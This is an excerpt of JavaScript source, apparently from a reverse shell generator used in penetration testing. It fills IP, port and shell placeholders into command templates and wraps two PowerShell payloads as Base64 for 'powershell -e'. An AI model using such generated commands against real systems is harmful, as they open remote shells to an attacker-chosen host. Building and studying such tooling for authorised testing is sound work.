(command, params)
| 1 | const { rsgData } = require("../js/data.js"); |
| 2 | |
| 3 | const insertParameters = function (command, params) { |
| 4 | // TODO: Extract the inlined JS from index.html into a new file, |
| 5 | // so the insertParameters + encoding logic can be reused |
| 6 | const encoder = (value) => value; |
| 7 | |
| 8 | if (command === "PowerShell #3 (Base64)") { |
| 9 | return "powershell -e " + btoa(rsgData.specialCommands['PowerShell payload'] |
| 10 | .replace(encoder('{ip}'), encoder(params.ip)) |
| 11 | .replace(encoder('{port}'), encoder(String(params.port)))) |
| 12 | } |
| 13 | if (command === "PowerShell #5 (stderr support) (Base64)") { |
| 14 | return "powershell -e " + btoa(rsgData.specialCommands['PowerShell +stderr payload'] |
| 15 | .replace(encoder('{ip}'), encoder(params.ip)) |
| 16 | .replace(encoder('{port}'), encoder(String(params.port)))) |
| 17 | } |
| 18 | |
| 19 | return command |
| 20 | .replace(encoder('{ip}'), encoder(params.ip)) |
| 21 | .replace(encoder('{port}'), encoder(String(params.port))) |
| 22 | .replace(encoder('{shell}'), encoder(params.shell)) |
| 23 | } |
| 24 | |
| 25 | const generateCommand = function (event, _context) { |
| 26 | const { path, queryStringParameters } = event; |
no test coverage detected